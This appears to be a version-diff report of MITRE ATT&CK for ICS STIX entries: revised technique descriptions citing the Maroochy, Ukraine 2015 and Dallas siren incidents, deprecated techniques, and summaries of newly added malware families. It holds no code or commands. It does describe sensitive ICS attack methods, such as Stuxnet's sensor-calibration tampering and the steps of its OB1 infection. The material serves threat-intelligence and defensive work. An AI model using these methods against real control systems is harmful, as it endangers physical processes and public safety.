| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T857 | https://collaborate.mitre.org/attackics/index.php/Technique/T0857 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send unauthorized command messages to instru | t | 1 | Adversaries may send unauthorized command messages to instru |
| > | ct control systems devices to perform actions outside their | > | ct control system assets to perform actions outside of their | ||
| > | expected functionality for process control. Command messages | > | intended functionality, or without the logical precondition | ||
| > | are used in ICS networks to give direct instructions to con | > | s to trigger their expected function. Command messages are u | ||
| > | trol systems devices. If an adversary can send an unauthoriz | > | sed in ICS networks to give direct instructions to control s | ||
| > | ed command message to a control system, then it can instruct | > | ystems devices. If an adversary can send an unauthorized com | ||
| > | the control systems device to perform an action outside the | > | mand message to a control system, then it can instruct the c | ||
| > | normal bounds of the device's actions. An adversary could p | > | ontrol systems device to perform an action outside the norma | ||
| > | otentially instruct a control systems device to perform an a | > | l bounds of the device's actions. An adversary could potenti | ||
| > | ction that will cause an Impact. (Citation: Research - Resea | > | ally instruct a control systems device to perform an action | ||
| > | rch - Taxonomy Cyber Attacks on SCADA) In the Maroochy Atta | > | that will cause an Impact. In the Maroochy Attack, the adver | ||
| > | ck, the adversary used a dedicated analog two-way radio syst | > | sary used a dedicated analog two-way radio system to send fa | ||
| > | em to send false data and instructions to pumping stations a | > | lse data and instructions to pumping stations and the centra | ||
| > | nd the central computer. (Citation: Maroochy - MITRE - 20080 | > | l computer. In the Dallas Siren incident, adversaries were a | ||
| > | 8) In the 2015 attack on the Ukranian power grid, the adver | > | ble to send command messages to activate tornado alarm syste | ||
| > | saries gained access to the control networks of three differ | > | ms across the city without an impending tornado or other dis | ||
| > | ent energy companies. The adversaries used valid credentials | > | aster. Alarms were activated more than a dozen times. These | ||
| > | to seize control of operator workstations and access a dist | > | disruptions occurred once in 2017, and later in a nearby cou | ||
| > | ribution management system (DMS) client application via a VP | > | nty in 2019. | ||
| > | N. The adversaries used these tools to issue unauthorized co | ||||
| > | mmands to breakers at substations which caused a loss of pow | ||||
| > | er to over 225,000 customers over various areas. (Citation: | ||||
| > | Ukraine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 09:28:26.506000+00:00 |
| description | Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. Alarms were activated more than a dozen times. These disruptions occurred once in 2017, and later in a nearby county in 2019. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T855 | https://collaborate.mitre.org/attackics/index.php/Technique/T0855 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | StateScoop Dallas March 2019 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020. |
| external_references[1]['url'] | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 | https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/ |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Research - Research - Taxonomy Cyber Attacks on SCADA |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 |
| external_references[3]['source_name'] | Maroochy - MITRE - 200808 | Ukraine15 - EISAC - 201603 |
| external_references[3]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. |
| external_references[3]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'} | |
| external_references | {'source_name': 'ZDNet Dallas April 2017', 'description': "Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020.", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal the credentials of a specific user or | t | 1 | Adversaries may steal the credentials of a specific user or |
| > | service account using credential access techniques. In some | > | service account using credential access techniques. In some | ||
| > | cases, default credentials for control system devices may be | > | cases, default credentials for control system devices may be | ||
| > | publicly available. Compromised credentials may be used to | > | publicly available. Compromised credentials may be used to | ||
| > | bypass access controls placed on various resources on hosts | > | bypass access controls placed on various resources on hosts | ||
| > | and within the network, and may even be used for persistent | > | and within the network, and may even be used for persistent | ||
| > | access to remote systems. Compromised and default credential | > | access to remote systems. Compromised and default credential | ||
| > | s may also grant an adversary increased privilege to specifi | > | s may also grant an adversary increased privilege to specifi | ||
| > | c systems and devices or access to restricted areas of the n | > | c systems and devices or access to restricted areas of the n | ||
| > | etwork. Adversaries may choose not to use malware or tools, | > | etwork. Adversaries may choose not to use malware or tools, | ||
| > | in conjunction with the legitimate access those credentials | > | in conjunction with the legitimate access those credentials | ||
| > | provide, to make it harder to detect their presence or to co | > | provide, to make it harder to detect their presence or to co | ||
| > | ntrol devices and send legitimate commands in an unintended | > | ntrol devices and send legitimate commands in an unintended | ||
| > | way. Adversaries may also create acc | > | way. Adversaries may also create accounts, sometimes using p | ||
| > | ounts, sometimes using predefined account names and password | > | redefined account names and passwords, to provide a means of | ||
| > | s, to provide a means of backup access for persistence. (Cit | > | backup access for persistence.(Citation: BlackEnergy - Booz | ||
| > | ation: BlackEnergy - Booz Allen Hamilton) | > | Allen Hamilton) The overlap of credentials and permissions | ||
| > | The overlap of credentials and permissions across a net | > | across a network of systems is of concern because the advers | ||
| > | work of systems is of concern because the adversary may be a | > | ary may be able to pivot across accounts and systems to reac | ||
| > | ble to pivot across accounts and systems to reach a high lev | > | h a high level of access (i.e., domain or enterprise adminis | ||
| > | el of access (i.e., domain or enterprise administrator) and | > | trator) and possibly between the enterprise and operational | ||
| > | possibly between the enterprise and operational technology | > | technology environments. Adversaries may be able to leverage | ||
| > | environments. Adversaries may be able to leverage valid cred | > | valid credentials from one system to gain access to another | ||
| > | entials from one system to gain access to another system. I | > | system. | ||
| > | n the 2015 attack on the Ukranian power grid, the adversarie | ||||
| > | s used valid credentials to interact directly with the clien | ||||
| > | t application of the distribution management system (DMS) se | ||||
| > | rver via a VPN and native remote access services to access e | ||||
| > | mployee workstations hosting HMI applications. (Citation: Uk | ||||
| > | raine15 - EISAC - 201603) The adversaries caused outages at | ||||
| > | three different energy companies, causing loss of power to o | ||||
| > | ver 225,000 customers over various areas. (Citation: Ukraine | ||||
| > | 15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications. (Citation: Ukraine15 - EISAC - 201603) The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T859 | https://collaborate.mitre.org/attackics/index.php/Technique/T0859 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
Description: Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. (Citation: Stuxnet - Langner - 201311) In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T833 | https://collaborate.mitre.org/attackics/index.php/Technique/T0833 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
Description: Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to . Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg) Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected (Citation: Stuxnet - Symantec - 201102): *Increase the size of the original block. *Write malicious code to the beginning of the block. *Insert the original OB1 code after the malicious code.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 1.0
Description: [AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)
Current version: 1.0
Description: [BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)
Current version: 1.0
Description: [Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)
Current version: 1.0
Description: [BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)
Current version: 1.0
Description: [BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)
Current version: 1.0
Description: [BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)
Current version: 1.0
Description: [CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)
Current version: 1.0
Description: [Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)
Current version: 1.0
Description: [Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)
Current version: 1.0
Description: [Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)
Current version: 1.0
Description: [DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)
Current version: 1.0
Description: [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a Remote Access Tool (RAT) used by [Lazarus Group](https://attack.mitre.org/groups/G0032) that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)
Current version: 1.0
Description: [EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)
Current version: 1.0
Description: [Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)
Current version: 1.0
Description: [Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: [GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 1.0
Description: [GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)
Current version: 1.0
Description: [Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)
Current version: 1.0
Description: [GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Unit 42 NETWIRE April 2020)
Current version: 1.0
Description: [Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)
Current version: 1.0
Description: [HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)
Current version: 1.0
Description: [IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )
Current version: 1.0
Description: [Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)
Current version: 1.0
Description: [Kerrdown](https://attack.mitre.org/software/S0585) is a downloader used by [APT32](https://attack.mitre.org/groups/G0050) to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)
Current version: 1.0
Description: [Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)
Current version: 1.0
Description: [LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)
Current version: 1.0
Description: [Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)
Current version: 1.0
Description: [MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)
Current version: 1.0
Description: [Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)
Current version: 1.0
Description: [MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)
Current version: 1.0
Description: [NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)
Current version: 1.0
Description: [Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
